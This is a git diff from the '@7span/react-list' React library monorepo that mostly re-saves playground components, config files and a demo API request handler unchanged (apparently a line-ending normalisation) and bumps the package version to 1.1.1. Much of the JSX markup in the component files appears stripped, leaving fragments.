String(value)); - } - } - - // Example: meta support (not required by ReactList, just forwarded in args) - if (meta && typeof meta === 'object') { - // noop; you can add meta params here. - } - - const queryString = params.toString(); - const url = `https://everest.7span.in/items/${endpoint}${ - queryString ? `?${queryString}` : '' - }`; - - try { - const response = await fetch(url); - if (!response.ok) { - throw new Error(`API request failed: ${response.status}`); - } - const data: any = await response.json(); - - return { - items: (data.data ?? []) as PlaygroundItem[], - count: - data.meta?.total_count ?? - data.meta?.filter_count ?? - 0, - meta: data.meta ?? {}, - }; - } catch (error) { - return { - items: [], - count: 0, - meta: {}, - error: error instanceof Error ? error : undefined, - } as unknown as ReactListResponse; - } -}; - -export default requestHandler; - +import type { ReactListRequestArgs, ReactListResponse } from '@7span/react-list'; + +export type PlaygroundItem = { + id: number; + name: string; + status?: string; + date_updated?: string; + [key: string]: unknown; +}; + +type Filters = Record; + +const requestHandler = async ( + args: ReactListRequestArgs, +): Promise> => { + const { + endpoint, + page, + perPage, + search, + sortBy, + sortOrder, + filters, + meta, + } = args; + + const params = new URLSearchParams(); + + if (page && perPage) { + params.append('page', String(page)); + params.append('limit', String(perPage)); + } + + if (search) params.append('search', search); + + if (sortBy) { + params.append( + 'sort', + sortOrder === 'desc' ? `-${sortBy}` : sortBy, + ); + } + + if (filters && Object.keys(filters).length > 0) { + // Keep it simple for the playground. + for (const [key, value] of Object.entries(filters)) { + if (value === undefined || value === '') continue; + params.append(`filter[${key}][_eq]`, String(value)); + } + } + + // Example: meta support (not required by ReactList, just forwarded in args) + if (meta && typeof meta === 'object') { + // noop; you can add meta params here. + } + + const queryString = params.toString(); + const url = `https://everest.7span.in/items/${endpoint}${ + queryString ? `?${queryString}` : '' + }`; + + try { + const response = await fetch(url); + if (!response.ok) { + throw new Error(`API request failed: ${response.status}`); + } + const data: any = await response.json(); + + return { + items: (data.data ?? []) as PlaygroundItem[], + count: + data.meta?.total_count ?? + data.meta?.filter_count ?? + 0, + meta: data.meta ?? {}, + }; + } catch (error) { + return { + items: [], + count: 0, + meta: {}, + error: error instanceof Error ? error : undefined, + } as unknown as ReactListResponse; + } +}; + +export default requestHandler; + diff --git a/apps/playground-typescript/src/components/list-wrapper.tsx b/apps/playground-typescript/src/components/list-wrapper.tsx index 02e2641..c61cdc0 100644 --- a/apps/playground-typescript/src/components/list-wrapper.tsx +++ b/apps/playground-typescript/src/components/list-wrapper.tsx @@ -1,298 +1,298 @@ -import { useMemo, useState } from "react"; - -import ReactList, { - ReactListEmpty, - ReactListError, - ReactListGoTo, - ReactListInitialLoader, - ReactListItems, - ReactListLoader, - ReactListPagination, - ReactListPerPage, - ReactListProvider, - ReactListSearch, - ReactListSummary, -} from "@7span/react-list"; - -import { Icon } from "@iconify/react"; - -import reactListOptions from "./react-list"; -import type { PlaygroundItem } from "../api/request-handler"; - -type Filters = Record; - -export default function ListWrapper() { - const [filters, setFilters] = useState({}); - const paginationMode = "pagination" as const; - - // Stable render-prop children for the search component. - const searchChildren = useMemo( - () => - ({ - search, - setSearch, - }: { - search: string; - setSearch: (value: string) => void; - }) => ( -
- setSearch(e.target.value)} - placeholder="Search skills..." - className="w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm text-gray-900 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" - /> -
- ), - [], - ); - - return ( -
-
- - -
-

- React List TypeScript Playground -

- -
- {searchChildren} - - -
-
- -
- -
-
-
- {[0, 1, 2, 3].map((i) => ( -
- ))} -
-
- - -
-
- -
-
- No data found -
-
-
- - - {({ error }: { error: Error }) => ( -
-
- -
-
{error.name}
-
{error.message}
-
-
-
- )} -
- - - {({ items }) => ( -
- {items.map((item, idx) => { - const row = item as PlaygroundItem; - - return ( -
-
-
- ID {row?.id} -
- -
- {row?.name} -
- -
- Updated:{" "} - {row?.date_updated - ? new Date( - row.date_updated, - ).toLocaleString() - : "-"} -
-
- -
- {row?.status ?? "-"} -
-
- ); - })} -
- )} -
-
- -
- - {({ isLoading }: { isLoading: boolean }) => - isLoading ? ( -
- Loading... -
- ) : null - } -
-
-
- -
-
- - {({ visibleCount, count }) => ( -
- {visibleCount} results - {typeof count === "number" ? ` (total ${count})` : ""} -
- )} -
- -
- - {({ perPage, setPerPage, options }) => ( - - )} - - - - {({ setPage, page, pagesCount }) => ( -
- setPage(Number(e.target.value))} - className="w-20 rounded-md border border-gray-200 bg-white px-3 py-2 text-sm shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" - /> - - of {pagesCount} - -
- )} -
- - - {({ - page, - pagesToDisplay, - hasPrev, - hasNext, - prev, - next, - first, - last, - setPage, - }) => ( -
- - - - -
- {pagesToDisplay.map((p) => ( - - ))} -
- - - - -
- )} -
-
-
-
-
- - -
-
- ); -} +import { useMemo, useState } from "react"; + +import ReactList, { + ReactListEmpty, + ReactListError, + ReactListGoTo, + ReactListInitialLoader, + ReactListItems, + ReactListLoader, + ReactListPagination, + ReactListPerPage, + ReactListProvider, + ReactListSearch, + ReactListSummary, +} from "@7span/react-list"; + +import { Icon } from "@iconify/react"; + +import reactListOptions from "./react-list"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +export default function ListWrapper() { + const [filters, setFilters] = useState({}); + const paginationMode = "pagination" as const; + + // Stable render-prop children for the search component. + const searchChildren = useMemo( + () => + ({ + search, + setSearch, + }: { + search: string; + setSearch: (value: string) => void; + }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm text-gray-900 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> +
+ ), + [], + ); + + return ( +
+
+ + +
+

+ React List TypeScript Playground +

+ +
+ {searchChildren} + + +
+
+ +
+ +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+
+ +
+
+ No data found +
+
+
+ + + {({ error }: { error: Error }) => ( +
+
+ +
+
{error.name}
+
{error.message}
+
+
+
+ )} +
+ + + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item as PlaygroundItem; + + return ( +
+
+
+ ID {row?.id} +
+ +
+ {row?.name} +
+ +
+ Updated:{" "} + {row?.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : "-"} +
+
+ +
+ {row?.status ?? "-"} +
+
+ ); + })} +
+ )} +
+
+ +
+ + {({ isLoading }: { isLoading: boolean }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
+
+ +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === "number" ? ` (total ${count})` : ""} +
+ )} +
+ +
+ + {({ perPage, setPerPage, options }) => ( + + )} + + + + {({ setPage, page, pagesCount }) => ( +
+ setPage(Number(e.target.value))} + className="w-20 rounded-md border border-gray-200 bg-white px-3 py-2 text-sm shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> + + of {pagesCount} + +
+ )} +
+ + + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + prev, + next, + first, + last, + setPage, + }) => ( +
+ + + + +
+ {pagesToDisplay.map((p) => ( + + ))} +
+ + + + +
+ )} +
+
+
+
+
+ + +
+
+ ); +} diff --git a/apps/playground-typescript/src/components/react-list.ts b/apps/playground-typescript/src/components/react-list.ts index ed965c9..21dca80 100644 --- a/apps/playground-typescript/src/components/react-list.ts +++ b/apps/playground-typescript/src/components/react-list.ts @@ -1,75 +1,75 @@ -import type { - ReactListProviderConfig, - ReactListRequestArgs, - ReactListResponse, - ReactListStateManager, -} from "@7span/react-list"; - -import requestHandler from "../api/request-handler"; -import type { PlaygroundItem } from "../api/request-handler"; - -type Filters = Record; - -const stateManagerKey = (endpoint: string, version: number) => - `react-list--${endpoint}--${version}`; - -const stateManager: ReactListStateManager = { - init(context: any) { - const { endpoint, version } = context; - const allKeys = `react-list--${endpoint}--`; - const latestKey = stateManagerKey(endpoint, version); - - const staleKeys = Object.keys(localStorage).filter( - (key) => key.startsWith(allKeys) && key !== latestKey, - ); - staleKeys.forEach((key) => localStorage.removeItem(key)); - }, - set(context: any) { - const { - endpoint, - version, - search, - page, - perPage, - sortBy, - sortOrder, - filters, - attrSettings, - } = context; - - const key = stateManagerKey(endpoint, version); - localStorage.setItem( - key, - JSON.stringify({ - search, - page, - perPage, - sortBy, - sortOrder, - filters, - attrSettings, - }), - ); - }, - get(context: any) { - const { endpoint, version } = context; - const key = stateManagerKey(endpoint, version); - - try { - const raw = localStorage.getItem(key); - if (!raw) return null; - return JSON.parse(raw) as any; - } catch { - return null; - } - }, -}; - -const config: ReactListProviderConfig = { - requestHandler: requestHandler as unknown as ( - args: ReactListRequestArgs, - ) => Promise>, - stateManager, -}; - -export default config; +import type { + ReactListProviderConfig, + ReactListRequestArgs, + ReactListResponse, + ReactListStateManager, +} from "@7span/react-list"; + +import requestHandler from "../api/request-handler"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +const stateManagerKey = (endpoint: string, version: number) => + `react-list--${endpoint}--${version}`; + +const stateManager: ReactListStateManager = { + init(context: any) { + const { endpoint, version } = context; + const allKeys = `react-list--${endpoint}--`; + const latestKey = stateManagerKey(endpoint, version); + + const staleKeys = Object.keys(localStorage).filter( + (key) => key.startsWith(allKeys) && key !== latestKey, + ); + staleKeys.forEach((key) => localStorage.removeItem(key)); + }, + set(context: any) { + const { + endpoint, + version, + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + } = context; + + const key = stateManagerKey(endpoint, version); + localStorage.setItem( + key, + JSON.stringify({ + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + }), + ); + }, + get(context: any) { + const { endpoint, version } = context; + const key = stateManagerKey(endpoint, version); + + try { + const raw = localStorage.getItem(key); + if (!raw) return null; + return JSON.parse(raw) as any; + } catch { + return null; + } + }, +}; + +const config: ReactListProviderConfig = { + requestHandler: requestHandler as unknown as ( + args: ReactListRequestArgs, + ) => Promise>, + stateManager, +}; + +export default config; diff --git a/apps/playground-typescript/src/index.css b/apps/playground-typescript/src/index.css index d1d9133..3203424 100644 --- a/apps/playground-typescript/src/index.css +++ b/apps/playground-typescript/src/index.css @@ -1,2 +1,2 @@ -@import "tailwindcss"; +@import "tailwindcss"; @source "../**/*.{js,jsx,ts,tsx}"; \ No newline at end of file diff --git a/apps/playground-typescript/src/main.tsx b/apps/playground-typescript/src/main.tsx index 0c5505f..29c1bd3 100644 --- a/apps/playground-typescript/src/main.tsx +++ b/apps/playground-typescript/src/main.tsx @@ -1,11 +1,11 @@ -import { StrictMode } from "react"; -import { createRoot } from "react-dom/client"; - -import App from "./App"; -import "./index.css"; - -createRoot(document.getElementById("root")!).render( - - - , -); +import { StrictMode } from "react"; +import { createRoot } from "react-dom/client"; + +import App from "./App"; +import "./index.css"; + +createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/apps/playground-typescript/tailwind.config.js b/apps/playground-typescript/tailwind.config.js index a117e69..c1dec7d 100644 --- a/apps/playground-typescript/tailwind.config.js +++ b/apps/playground-typescript/tailwind.config.js @@ -1,8 +1,8 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ["./index.html", "./src/**/*.{ts,tsx,jsx,js}"], - theme: { - extend: {}, - }, - plugins: [], -}; +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./index.html", "./src/**/*.{ts,tsx,jsx,js}"], + theme: { + extend: {}, + }, + plugins: [], +}; diff --git a/apps/playground-typescript/tsconfig.json b/apps/playground-typescript/tsconfig.json index e034b35..fa7a734 100644 --- a/apps/playground-typescript/tsconfig.json +++ b/apps/playground-typescript/tsconfig.json @@ -1,16 +1,16 @@ -{ - "compilerOptions": { - "target": "ES2022", - "lib": ["ES2022", "DOM", "DOM.Iterable"], - "module": "ESNext", - "moduleResolution": "Bundler", - "jsx": "react-jsx", - "strict": true, - "skipLibCheck": true, - "noEmit": true, - "types": ["vite/client"], - "resolveJsonModule": true - }, - "include": ["src"] -} - +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "strict": true, + "skipLibCheck": true, + "noEmit": true, + "types": ["vite/client"], + "resolveJsonModule": true + }, + "include": ["src"] +} + diff --git a/apps/playground-typescript/vite.config.ts b/apps/playground-typescript/vite.config.ts index f0c8be1..2b2eaa1 100644 --- a/apps/playground-typescript/vite.config.ts +++ b/apps/playground-typescript/vite.config.ts @@ -1,7 +1,7 @@ -import { defineConfig } from 'vite'; -import react from '@vitejs/plugin-react'; - -export default defineConfig({ - plugins: [react()], -}); - +import { defineConfig } from 'vite'; +import react from '@vitejs/plugin-react'; + +export default defineConfig({ + plugins: [react()], +}); + diff --git a/apps/playground/eslint.config.js b/apps/playground/eslint.config.js index ec2b712..5559bca 100644 --- a/apps/playground/eslint.config.js +++ b/apps/playground/eslint.config.js @@ -1,33 +1,33 @@ -import js from '@eslint/js' -import globals from 'globals' -import reactHooks from 'eslint-plugin-react-hooks' -import reactRefresh from 'eslint-plugin-react-refresh' - -export default [ - { ignores: ['dist'] }, - { - files: ['**/*.{js,jsx}'], - languageOptions: { - ecmaVersion: 2020, - globals: globals.browser, - parserOptions: { - ecmaVersion: 'latest', - ecmaFeatures: { jsx: true }, - sourceType: 'module', - }, - }, - plugins: { - 'react-hooks': reactHooks, - 'react-refresh': reactRefresh, - }, - rules: { - ...js.configs.recommended.rules, - ...reactHooks.configs.recommended.rules, - 'no-unused-vars': ['error', { varsIgnorePattern: '^[A-Z_]' }], - 'react-refresh/only-export-components': [ - 'warn', - { allowConstantExport: true }, - ], - }, - }, -] +import js from '@eslint/js' +import globals from 'globals' +import reactHooks from 'eslint-plugin-react-hooks' +import reactRefresh from 'eslint-plugin-react-refresh' + +export default [ + { ignores: ['dist'] }, + { + files: ['**/*.{js,jsx}'], + languageOptions: { + ecmaVersion: 2020, + globals: globals.browser, + parserOptions: { + ecmaVersion: 'latest', + ecmaFeatures: { jsx: true }, + sourceType: 'module', + }, + }, + plugins: { + 'react-hooks': reactHooks, + 'react-refresh': reactRefresh, + }, + rules: { + ...js.configs.recommended.rules, + ...reactHooks.configs.recommended.rules, + 'no-unused-vars': ['error', { varsIgnorePattern: '^[A-Z_]' }], + 'react-refresh/only-export-components': [ + 'warn', + { allowConstantExport: true }, + ], + }, + }, +] diff --git a/apps/playground/package.json b/apps/playground/package.json index 90148b5..997cb1d 100644 --- a/apps/playground/package.json +++ b/apps/playground/package.json @@ -1,34 +1,34 @@ -{ - "name": "playground", - "private": true, - "version": "0.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "vite build", - "lint": "eslint .", - "preview": "vite preview" - }, - "dependencies": { - "@7span/react-list": "workspace:*", - "@iconify/react": "^5.2.1", - "axios": "1.11.0", - "react": "^19.0.0", - "react-dom": "^19.0.0" - }, - "devDependencies": { - "@eslint/js": "^9.22.0", - "@tailwindcss/postcss": "^4.2.2", - "@types/react": "^19.0.10", - "@types/react-dom": "^19.0.4", - "@vitejs/plugin-react": "^4.3.4", - "autoprefixer": "^10.4.27", - "eslint": "^9.22.0", - "eslint-plugin-react-hooks": "^5.2.0", - "eslint-plugin-react-refresh": "^0.4.19", - "globals": "^16.0.0", - "postcss": "^8.5.8", - "tailwindcss": "^4.2.2", - "vite": "^6.3.1" - } -} +{ + "name": "playground", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "lint": "eslint .", + "preview": "vite preview" + }, + "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", + "axios": "1.11.0", + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@eslint/js": "^9.22.0", + "@tailwindcss/postcss": "^4.2.2", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", + "eslint": "^9.22.0", + "eslint-plugin-react-hooks": "^5.2.0", + "eslint-plugin-react-refresh": "^0.4.19", + "globals": "^16.0.0", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", + "vite": "^6.3.1" + } +} diff --git a/apps/playground/postcss.config.js b/apps/playground/postcss.config.js index 51a6e4e..9df712d 100644 --- a/apps/playground/postcss.config.js +++ b/apps/playground/postcss.config.js @@ -1,6 +1,6 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - autoprefixer: {}, - }, -}; +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/apps/playground/src/components/list-wrapper.jsx b/apps/playground/src/components/list-wrapper.jsx index c8600b0..14df47c 100644 --- a/apps/playground/src/components/list-wrapper.jsx +++ b/apps/playground/src/components/list-wrapper.jsx @@ -1,345 +1,345 @@ -import { useMemo, useState } from 'react'; - -import ReactList, { - ReactListEmpty, - ReactListError, - ReactListGoTo, - ReactListInitialLoader, - ReactListItems, - ReactListLoader, - ReactListPagination, - ReactListPerPage, - ReactListProvider, - ReactListSearch, - ReactListSummary, -} from '@7span/react-list'; - -import { Icon } from '@iconify/react'; - -import reactListOptions from './react-list'; - -const STATUS_OPTIONS = [ - { label: 'All Status', value: '' }, - { label: 'Draft', value: 'draft' }, - { label: 'Published', value: 'published' }, - { label: 'Archived', value: 'archived' }, -]; - -const COLOR_OPTIONS = [ - { label: 'All Colors', value: '' }, - { label: 'Red', value: '#FF9900' }, - { label: 'Blue', value: '#FFEB0F' }, - { label: 'Green', value: '#F7DF1E' }, - { label: 'Yellow', value: '#5E24FF' }, -]; - -export default function ListWrapper() { - const [filters, setFilters] = useState({}); - - const paginationMode = 'pagination'; - - const searchChildren = useMemo( - () => - ({ search, setSearch }) => ( -
- setSearch(e.target.value)} - placeholder="Search skills..." - className="w-full rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" - /> -
- ), - [], - ); - - return ( -
-
-
-

- React List Playground (Tailwind) -

- -
- - -
- {searchChildren} - - - - - - -
- -
- -
-
-
- {[0, 1, 2, 3].map((i) => ( -
- ))} -
-
- - -
- -
-
- No data found -
-
-
- - - {({ error }) => ( -
-
- -
-
{error.name}
-
{error.message}
-
-
-
- )} -
- - - {({ items }) => ( -
- {items.map((item, idx) => { - const row = item ?? {}; - return ( -
-
-
- ID {row.id} -
- -
- {row.name} -
- -
- Updated:{' '} - {row.date_updated - ? new Date( - row.date_updated, - ).toLocaleString() - : '-'} -
-
- -
- {row.status ?? '-'} -
-
- ); - })} -
- )} -
- - - {({ isLoading }) => - isLoading ? ( -
- Loading... -
- ) : null - } -
-
- -
-
- - {({ visibleCount, count }) => ( -
- {visibleCount} results - {typeof count === 'number' - ? ` (total ${count})` - : ''} -
- )} -
- -
- - {({ perPage, setPerPage, options }) => ( - - )} - - - - {({ setPage, page, pagesCount }) => ( -
- - setPage(Number(e.target.value)) - } - className="w-20 rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" - /> - - of {pagesCount} - -
- )} -
- - - {({ - page, - pagesToDisplay, - hasPrev, - hasNext, - first, - prev, - next, - last, - setPage, - }) => ( -
- - - -
- {pagesToDisplay.map((p) => ( - - ))} -
- - - -
- )} -
-
-
-
-
- - -
-
-
-
- ); -} - +import { useMemo, useState } from 'react'; + +import ReactList, { + ReactListEmpty, + ReactListError, + ReactListGoTo, + ReactListInitialLoader, + ReactListItems, + ReactListLoader, + ReactListPagination, + ReactListPerPage, + ReactListProvider, + ReactListSearch, + ReactListSummary, +} from '@7span/react-list'; + +import { Icon } from '@iconify/react'; + +import reactListOptions from './react-list'; + +const STATUS_OPTIONS = [ + { label: 'All Status', value: '' }, + { label: 'Draft', value: 'draft' }, + { label: 'Published', value: 'published' }, + { label: 'Archived', value: 'archived' }, +]; + +const COLOR_OPTIONS = [ + { label: 'All Colors', value: '' }, + { label: 'Red', value: '#FF9900' }, + { label: 'Blue', value: '#FFEB0F' }, + { label: 'Green', value: '#F7DF1E' }, + { label: 'Yellow', value: '#5E24FF' }, +]; + +export default function ListWrapper() { + const [filters, setFilters] = useState({}); + + const paginationMode = 'pagination'; + + const searchChildren = useMemo( + () => + ({ search, setSearch }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> +
+ ), + [], + ); + + return ( +
+
+
+

+ React List Playground (Tailwind) +

+ +
+ + +
+ {searchChildren} + + + + + + +
+ +
+ +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+ +
+
+ No data found +
+
+
+ + + {({ error }) => ( +
+
+ +
+
{error.name}
+
{error.message}
+
+
+
+ )} +
+ + + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item ?? {}; + return ( +
+
+
+ ID {row.id} +
+ +
+ {row.name} +
+ +
+ Updated:{' '} + {row.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : '-'} +
+
+ +
+ {row.status ?? '-'} +
+
+ ); + })} +
+ )} +
+ + + {({ isLoading }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
+ +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === 'number' + ? ` (total ${count})` + : ''} +
+ )} +
+ +
+ + {({ perPage, setPerPage, options }) => ( + + )} + + + + {({ setPage, page, pagesCount }) => ( +
+ + setPage(Number(e.target.value)) + } + className="w-20 rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> + + of {pagesCount} + +
+ )} +
+ + + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + first, + prev, + next, + last, + setPage, + }) => ( +
+ + + +
+ {pagesToDisplay.map((p) => ( + + ))} +
+ + + +
+ )} +
+
+
+
+
+ + +
+
+
+
+ ); +} + diff --git a/apps/playground/src/index.css b/apps/playground/src/index.css index a50c033..544e11d 100644 --- a/apps/playground/src/index.css +++ b/apps/playground/src/index.css @@ -1,76 +1,76 @@ -@import "tailwindcss"; -@source "../**/*.{js,jsx,ts,tsx}"; - -:root { - font-family: system-ui, Avenir, Helvetica, Arial, sans-serif; - line-height: 1.5; - font-weight: 400; - - color-scheme: light dark; - color: rgba(255, 255, 255, 0.87); - background-color: #242424; - - font-synthesis: none; - text-rendering: optimizeLegibility; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; -} - -a { - font-weight: 500; - color: #646cff; - text-decoration: inherit; -} - -a:hover { - color: #535bf2; -} - -body { - margin: 0; - display: flex; - place-items: center; - min-width: 320px; - min-height: 100vh; -} - -h1 { - font-size: 3.2em; - line-height: 1.1; -} - -button { - border-radius: 8px; - border: 1px solid transparent; - padding: 0.6em 1.2em; - font-size: 1em; - font-weight: 500; - font-family: inherit; - background-color: #1a1a1a; - cursor: pointer; - transition: border-color 0.25s; -} - -button:hover { - border-color: #646cff; -} - -button:focus, -button:focus-visible { - outline: 4px auto -webkit-focus-ring-color; -} - -@media (prefers-color-scheme: light) { - :root { - color: #213547; - background-color: #ffffff; - } - - a:hover { - color: #747bff; - } - - button { - background-color: #f9f9f9; - } +@import "tailwindcss"; +@source "../**/*.{js,jsx,ts,tsx}"; + +:root { + font-family: system-ui, Avenir, Helvetica, Arial, sans-serif; + line-height: 1.5; + font-weight: 400; + + color-scheme: light dark; + color: rgba(255, 255, 255, 0.87); + background-color: #242424; + + font-synthesis: none; + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +a { + font-weight: 500; + color: #646cff; + text-decoration: inherit; +} + +a:hover { + color: #535bf2; +} + +body { + margin: 0; + display: flex; + place-items: center; + min-width: 320px; + min-height: 100vh; +} + +h1 { + font-size: 3.2em; + line-height: 1.1; +} + +button { + border-radius: 8px; + border: 1px solid transparent; + padding: 0.6em 1.2em; + font-size: 1em; + font-weight: 500; + font-family: inherit; + background-color: #1a1a1a; + cursor: pointer; + transition: border-color 0.25s; +} + +button:hover { + border-color: #646cff; +} + +button:focus, +button:focus-visible { + outline: 4px auto -webkit-focus-ring-color; +} + +@media (prefers-color-scheme: light) { + :root { + color: #213547; + background-color: #ffffff; + } + + a:hover { + color: #747bff; + } + + button { + background-color: #f9f9f9; + } } \ No newline at end of file diff --git a/apps/playground/tailwind.config.js b/apps/playground/tailwind.config.js index 524f96e..5bcf2c3 100644 --- a/apps/playground/tailwind.config.js +++ b/apps/playground/tailwind.config.js @@ -1,9 +1,9 @@ -/** @type {import('tailwindcss').Config} */ -export default { - content: ['./index.html', './src/**/*.{js,jsx,ts,tsx}'], - theme: { - extend: {}, - }, - plugins: [], -}; - +/** @type {import('tailwindcss').Config} */ +export default { + content: ['./index.html', './src/**/*.{js,jsx,ts,tsx}'], + theme: { + extend: {}, + }, + plugins: [], +}; + diff --git a/apps/playground/vite.config.js b/apps/playground/vite.config.js index d82b953..9fb5de2 100644 --- a/apps/playground/vite.config.js +++ b/apps/playground/vite.config.js @@ -1,6 +1,6 @@ -import { defineConfig } from "vite"; -import react from "@vitejs/plugin-react"; -// https://vite.dev/config/ -export default defineConfig({ - plugins: [react()], -}); +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; +// https://vite.dev/config/ +export default defineConfig({ + plugins: [react()], +}); diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 9ed6aa8..5a2c892 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -1,41 +1,41 @@ -{ - "name": "@7span/react-list", - "version": "1.1.0", - "description": "A simple and reusable list component for React", - "type": "module", - "scripts": { - "dev": "vite", - "build": "vite build && pnpm run build:types", - "build:types": "tsc -p tsconfig.build.json", - "lint": "eslint .", - "preview": "vite preview", - "prepublishOnly": "pnpm run build" - }, - "main": "dist/react-list.cjs", - "module": "dist/react-list.js", - "types": "dist/types/index.d.ts", - "exports": { - ".": { - "types": "./dist/types/index.d.ts", - "import": "./dist/react-list.js", - "require": "./dist/react-list.cjs" - } - }, - "files": [ - "dist" - ], - "publishConfig": { - "access": "public" - }, - "peerDependencies": { - "react": "^18.2.0 || ^19.0.0", - "react-dom": "^18.2.0 || ^19.0.0" - }, - "devDependencies": { - "@types/react": "^19.1.13", - "@types/react-dom": "^19.1.9", - "@vitejs/plugin-react": "^4.3.4", - "typescript": "^5.9.3", - "vite": "^6.3.1" - } +{ + "name": "@7span/react-list", + "version": "1.1.1", + "description": "A simple and reusable list component for React", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build && pnpm run build:types", + "build:types": "tsc -p tsconfig.build.json", + "lint": "eslint .", + "preview": "vite preview", + "prepublishOnly": "pnpm run build" + }, + "main": "dist/react-list.cjs", + "module": "dist/react-list.js", + "types": "dist/types/index.d.ts", + "exports": { + ".": { + "types": "./dist/types/index.d.ts", + "import": "./dist/react-list.js", + "require": "./dist/react-list.cjs" + } + }, + "files": [ + "dist" + ], + "publishConfig": { + "access": "public" + }, + "peerDependencies": { + "react": "^18.2.0 || ^19.0.0", + "react-dom": "^18.2.0 || ^19.0.0" + }, + "devDependencies": { + "@types/react": "^19.1.13", + "@types/react-dom": "^19.1.9", + "@vitejs/plugin-react": "^4.3.4", + "typescript": "^5.9.3", + "vite": "^6.3.1" + } } \ No newline at end of file diff --git a/packages/react-list/src/components/attributes.tsx b/packages/react-list/src/components/attributes.tsx index fa4e2d7..6d85be1 100644 --- a/packages/react-list/src/components/attributes.tsx +++ b/packages/react-list/src/components/attributes.tsx @@ -1,87 +1,87 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; -import type { ReactListAttrSettings, ReactListAttribute } from "../types"; -import type { ChangeEvent, ReactNode } from "react"; - -type ReactListAttributesUpdateAttr = ( - attrName: string, - settingKey: string, - value: unknown, -) => void; - -type ReactListAttributesScope = { - attrs: ReactListAttribute[]; - attrSettings: ReactListAttrSettings; - updateAttr: ReactListAttributesUpdateAttr; -}; - -type ReactListAttributesRenderAttributeArgs = { - key: string; - attr: ReactListAttribute; - updateAttr: ReactListAttributesUpdateAttr; - attrSettings: ReactListAttrSettings; -}; - -type ReactListAttributesProps = { - children?: ReactNode | ((scope: ReactListAttributesScope) => ReactNode); - renderAttribute?: (args: ReactListAttributesRenderAttributeArgs) => ReactNode; -}; - -export const ReactListAttributes = memo( - ({ children, renderAttribute }: ReactListAttributesProps) => { - const { listState } = useListContext(); - const { attrs, attrSettings, updateAttr } = listState; - - const handleAttrChange = useCallback( - (attrName: string) => (e: ChangeEvent) => { - updateAttr(attrName, "visible", e.target.checked); - }, - [updateAttr], - ); - - const scope = useMemo( - () => ({ - attrs, - attrSettings, - updateAttr, - }), - [attrs, attrSettings, updateAttr], - ); - - if (typeof children === "function") { - return children(scope); - } - - if (children) return children; - - return ( -
- {attrs.map((attr, index) => { - if (renderAttribute) { - return ( - - {renderAttribute({ - key: `attr-${index}`, - attr, - updateAttr, - attrSettings, - })} - - ); - } - - return ( - - ); - })} -
